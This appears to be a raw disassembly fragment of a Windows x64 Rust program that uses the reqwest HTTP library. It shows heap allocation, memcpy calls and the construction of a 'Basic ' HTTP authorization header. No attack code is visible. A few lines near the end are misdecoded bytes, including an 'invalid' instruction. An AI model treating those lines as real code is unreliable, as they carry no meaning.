je 0x1400025ad
mov r8, rdx
add r8, rax
lea rcx, [rbp + 0x360]
mov rdx, rax
call fcn.140041a10
mov rax, qword [rbp + 0x360]
cmp rax, rdi
jne 0x1400025b2
jmp 0x14000266a
mov rsi, qword [rbp + 0x368]
mov r8, qword [rbp + 0x370]
movabs rdi, 0x8000000000000000
cmp rax, rdi
mov qword [rbp + 0xc98], r8
jne 0x1400025fd
test r8, r8
je 0x140002606
js 0x140004916
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
je 0x14000260e
mov r8, qword [rbp + 0xc98]
jmp 0x14000262e
mov qword [rbp + 0xca8], rsi
jmp 0x140002660
mov r12d, 1
jmp 0x140002648
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
mov r8, qword [rbp + 0xc98]
je 0x140004a2a
mov rcx, rax
mov qword [0x14016b208], rax
xor edx, edx
call sub.kernel32.dll_HeapAlloc
mov r12, rax
mov r8, qword [rbp + 0xc98]
test rax, rax
je 0x140004a2a
mov rcx, r12
mov rdx, rsi
mov rsi, r8
call sub.VCRUNTIME140.dll_memcpy
mov rax, rsi
mov qword [rbp + 0xca8], r12
cmp rax, rdi
sete sil
mov r12, rax
test r15, r15
jne 0x140003cc3
test sil, sil
je 0x140003cc3
test r13, r13
je 0x140002693
mov rcx, qword [0x14016b208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x990]
mov rcx, rbx
call fcn.1400ee290
test al, al
jne 0x1400049d4
mov rcx, rbx
call fcn.1400ee0b0
test al, al
jne 0x1400049ff
mov qword [rbp + 0xc20], r13
mov qword [rbp + 0xc28], r14
mov qword [rbp + 0xc30], r15
lea rcx, [rbp + 0x790]
lea rdx, [rbp + 0x990]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x140003d3d
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400049c5
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 6
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x1400049c5
mov word [rax + 4], 0x2063
mov dword [rax], 0x69736142
mov qword [rbp + 0xbd0], 6
mov qword [rbp + 0xbd8], rax
mov qword [rbp + 0xbe0], 6
mov byte [rbp + 0x782], 0
mov word [rbp + 0x780], 0
lea rbx, [rbp + 0x360]
mov r8d, 0x400
mov rcx, rbx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14012dad0]
mov qword [rbp + 0x778], rax
lea rax, [rbp + 0xbd0]
mov qword [rbp + 0x760], rax
mov byte [rbp + 0x783], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x768], xmm0
lea rax, [rbp + 0xc20]
mov qword [rbp + 0x200], rax
lea r15, [0x1400904a0]
mov qword [rbp + 0x208], r15
lea rax, [0x14012d818]
mov qword [rbp + 0x900], rax
mov qword [rbp + 0x908], 2
mov qword [rbp + 0x920], 0
lea r13, [rbp + 0x200]
mov qword [rbp + 0x910], r13
mov qword [rbp + 0x918], 1
lea rdx, [rbp + 0x900]
mov rcx, rbx
call fcn.1400c9c20
test rax, rax
je 0x140003e9c
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140003e9c
test rcx, rcx
je 0x140003e9c
mov rbx, rax
dec rbx
mov r14, qword [rax - 1]
mov rsi, qword [rax + 7]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140003e8a
cmp qword [rsi + 0x10], 0x11
jb 0x140003e78
mov r14, qword [r14 - 8]
mov rcx, qword [0x14016b208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14016b208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000000
cmp r12, rax
je 0x140003fb2
mov qword [rbp + 0x200], r12
mov rax, qword [rbp + 0xca8]
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0xc98]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0xb50], r13
mov qword [rbp + 0xb58], r15
lea rax, [0x14015d9e8]
mov qword [rbp + 0x900], rax
mov qword [rbp + 0x908], 1
mov qword [rbp + 0x920], 0
lea rax, [rbp + 0xb50]
mov qword [rbp + 0x910], rax
mov qword [rbp + 0x918], 1
lea rcx, [rbp + 0x360]
lea rdx, [rbp + 0x900]
call fcn.1400c9c20
test rax, rax
je 0x140003f92
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140003f92
test rcx, rcx
je 0x140003f92
mov rsi, rax
dec rsi
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140003f80
cmp qword [rbx + 0x10], 0x11
jb 0x140003f6e
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14016b208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14016b208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x200], 0
je 0x140003fb2
mov r8, qword [rbp + 0x208]
mov rcx, qword [0x14016b208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x360]
call fcn.1400ca720
mov rdx, qword [rbp + 0xbd8]
mov r8, qword [rbp + 0xbe0]
xor eax, eax
nop
cmp r8, rax
je 0x140004029
movzx r10d, byte [rdx + rax]
cmp r10b, 0x20
setae cl
cmp r10b, 0x7f
setne r9b
inc rax
cmp r10b, 9
je 0x140003fd0
and cl, r9b
jne 0x140003fd0
mov byte [rbp + 0x380], 2
lea rax, [0x14012dca0]
mov qword [rsp + 0x20], rax
lea rcx, str.base64_is_always_valid_HeaderValueC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.24_srcutil.rs
lea r9, [0x14012d408]
lea r8, [rbp + 0xcb7]
mov edx, 0x22
call fcn.1400fa4a0
lea rcx, [rbp + 0x360]
call fcn.1400078c0
movdqu xmm0, xmmword [rbp + 0x360]
movdqu xmm1, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x2d0], xmm0
movdqa xmmword [rbp + 0x2e0], xmm1
mov eax, dword [rbp + 0x381]
mov dword [rbp + 0x2f1], eax
mov eax, dword [rbp + 0x384]
mov dword [rbp + 0x2f4], eax
mov byte [rbp + 0x2f0], 1
cmp qword [rbp + 0xbd0], 0
ror byte [rbx], 1
add byte [rax], al
invalid
je 0x140004094
mov r8, qword [rbp + 0xbd8]
add rax, rcx
mov qword [rbp + 0x790], 0x1d
mov qword [rbp + 0x798], r12
mov qword [rbp + 0x7a0], 0x1d
mov qword [rbp + 0x7a8], rax
lea rax, str._rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_std_src_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.thread_name_may_not_contain_interior_null_bytes
lea r9, [0x14012df50]
lea r8, [rbp + 0x790]
mov edx, 0x2f
call fcn.1400fa4a0